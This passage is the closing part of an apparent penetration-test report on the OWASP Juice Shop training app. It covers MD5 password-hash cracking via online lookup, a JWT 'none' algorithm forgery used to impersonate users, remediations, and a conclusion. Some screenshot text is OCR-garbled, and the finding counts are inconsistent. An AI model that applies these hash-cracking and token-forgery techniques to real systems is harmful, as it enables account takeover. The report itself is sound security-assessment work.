in cleartext, enabling account takeover across the entire user base and any external services where

passwords are reused.

System: Users table - password_hash column

Tools Used: sgimap (data extraction), hashes.com (hash identification), CrackStation (rainbow table
lookup)

References: CWE-328: Use of Weak Hash | OWASP A02:2021 - Cryptographic Failures

Evidence:

~/juice-shop
data_exfiltration.txt
20!

descriptio p o tedAt najuic
eluxePrice & e 4b0bas)

a8941des :admin”}1}

uice-shop

Figure 43: Terminal output of data_exfiltration.txt showing all user email addresses paired with MD5 password hashes and role
identifiers.
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"name": 2,
"description":3,
"arice": 4,
"deluxePrice":5,
"image":6,

"createdAt":7,

"updatedaAt":8,

"deletedAt":

" J12934@; uice-sh.op:Bc2abc04e4aGeanl327d0aae37l4b7d:aclmin"

] - [ O
"name": 2,
"description":3,
Noama ~nll A
Figure 44: Database response showing the extracted hash 3c2abc04e4a6ea8f1327d0aae3714b7d alongside the
J12934@juice-sh.op user account.

8 Proceeded!
1 hashes were checked: 1 possibly identified 0 no Identification

A Pay professionals to decrypt your remaining lists

Figure 45: hashes.com online tool identifying the extracted hash as MD5 algorithm, confirming the weak hashing scheme in
use.

Hashes.com #Home ?FAQ B DeposittoEscrow ¥ PurchaseCredits SEAPI Tools~ DecryptHashes~ Escrow~ ?Support M English -

& Proceeded!
1 hashes were checked: 1 found 0 not found

+ Found:

SEARCH AGAIN

Figure 46: hashes.com successfully cracking the MD5 hash - returning the plaintext password, confirming passwords are
recoverable via rainbow table attack.

Remediation: Replace MD5 with a modern password hashing algorithm designed for password storage
such as berypt, Argon2, or scrypt. These algorithms are deliberately slow and include a cost factor that can
be increased as hardware improves. Additionally implement per-user random salts to prevent rainbow table
attacks. Force a password reset for all existing users after the migration to invalidate any already-
compromised MD5 hashes.
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Finding 12: Insecure JWT Implementation - Algorithm Confusion (High)

Description: The application uses JSON Web Tokens (JWT) for session management. Two weaknesses
were identified. First, the JWT payload contains sensitive information in plaintext including the user email
address, role, and internal user ID, which are base64-decoded without decryption. Second, the
application does not properly validate the JWT algorithm field. By intercepting a valid JWT response,
decoding the token, removing the 'alg' parameter from the header and stripping the signature, then
modifying the 'id' field to another user's ID value, the server accepted the tampered token and responded
with that user's data. This is an algorithm confusion (none algorithm) attack enabling complete identity
impersonation without knowing any secret key. The Leaked Access Logs challenge was also solved by
searching the internet for a leaked password matching one of the extracted hashes and using it to log in to

the original account.

Risk - Likelihood: High - The attack requires only a valid JWT token (obtained after any login) and

standard base64 tools or Burp Suite extensions. No cryptographic key knowledge is required.

Risk - Impact: High - An attacker with any valid session token can impersonate any other user including

administrators, access private account data, and perform privileged operations without their credentials.
System: POST /rest/user/login JWT response - Authorization header
Tools Used: Burp Suite Community Edition v2025.12.5 (Repeater), jwt.io, JWT Editor Burp Extension

References: CWE-315: Cleartext Storage of Sensitive Information in a Cookie | CWE-346: Origin
Validation Error | OWASP A07:2021 - Identification and Authentication Failures

Evidence:
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You successfully solved a challenge: Leaked Access Logs (Dumpster dive the Intemnet for a leaked password and log in to the original user account it belongs to. (Creating a new account with the same
password does not qualify as a solution.))

All Products

Apple Juice Banana Juice
(1000ml) Apple Pomace (1000ml)
1.990 s 1.990

Add to Basket Add to Basket Add to Basket

B Q Recherche o9 _-_- <] ’,‘ e @ g "‘ A e 00

Figure 47: Juice Shop homepage showing the 'Leaked Access Logs' challenge solved - credentials found via OSINT on leaked
password databases.

Observability Failures

Leaked Access Logs Y % % %k

Dumpster dive the Internet for a leaked password
and log in to the original user account it belongs to.
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Figure 48: Score-board challenge card for Leaked Access Logs, confirming the OSINT-based authentication bypass using
leaked credentials.

Remediation: Never store sensitive information such as passwords, full email addresses, or internal IDs
directly in the JWT payload. Use strong signing algorithms (HS256 or RS256) and explicitly reject tokens
with the 'none' algorithm or missing signatures on the server side. Implement JWT library configuration that
requires algorithm verification. Set short token expiration times and implement token refresh mechanisms.

Audit the JWT validation middleware to ensure the 'alg' header field cannot be manipulated by clients.
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Remediation Summary:

The following remediation actions are listed in priority order. Addressing the SQL injection vulnerability first
will break the largest number of attack chains.

[Critical] Finding 3 & 7 - SQL Injection - Login Endpoint: Replace string-concatenated queries with
parameterised queries. This single fix eliminates both SQL injection findings and breaks the chained
account takeover attack.

[Critical] Finding 8 - DOM-Based XSS - Search Parameter: Sanitise user input before DOM insertion
using DOMPurify. Replace innerHTML with textContent. Implement a strict Content Security Policy.

[Critical] Finding 1 - Admin Email Exposure in Public Reviews: Implement display aliases for all user
accounts. Audit all public-facing content for sensitive identifier exposure.

[High] Finding 4 - Broken Access Control - Admin Panel: Add server-side role verification on all
/rest/admin/ endpoints. Frontend redirects alone are insufficient.

[High] Finding 5 - Unauthenticated Application Configuration API: Restrict

/rest/admin/application-configuration to require a valid admin session. Remove non-essential fields from the
response.

[High] Finding 6 - Unauthenticated FTP Directory: Require authentication on /ftp. Disable directory
listing. Move sensitive files and credential stores out of web-accessible directories.

[High] Finding 2 - Hidden Route Disclosure in main.js: Lazy-load Angular admin modules to exclude
route names from the public bundle. Implement server-side route guards.

[High] Finding 9 - Reflected XSS - Search Heading: Apply HTML output encoding on all reflected user
input. Use Angular template escaping and Content Security Policy.

[Critical] Finding 10 - SQL Injection - Product Search Endpoint: Apply parameterised queries to the

product search endpoint. Validate and sanitise all user-supplied query parameters server-side.

[Critical] Finding 11 - Weak Password Hashing - MD5: Replace MD5 with bcrypt, Argon2, or scrypt.

Implement per-user salts. Force a password reset for all existing users.

[High] Finding 12 - Insecure JWT Implementation: Enforce algorithm validation server-side. Reject

tokens with alg=none. Avoid storing sensitive data in the JWT payload. Use short expiry times.
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Conclusion:

This assessment of the OWASP Juice Shop demonstrated a realistic attack chain progressing from
unauthenticated passive reconnaissance to complete administrator account takeover, full admin panel access
exposing all registered users, and session cookie theft via cross-site scripting. Nine vulnerabilities were
identified spanning four Critical and five High severity findings.

The findings map primarily to three OWASP Top 10 categories: A01 Broken Access Control, AO3 Injection,
and AO05 Security Misconfiguration. A new finding compared to the original scope, the unauthenticated
application configuration API, highlights that sensitive data exposure can occur through APl endpoints
discovered via passive traffic monitoring, not just through direct exploitation.

The most impactful single remediation is the adoption of parameterised queries across the entire application.
Combined with server-side access controls on all admin endpoints, display aliases to prevent email exposure,
and a Content Security Policy to mitigate XSS, these changes would eliminate or significantly reduce all nine
findings identified in this report. A follow-up assessment after remediation is strongly recommended.
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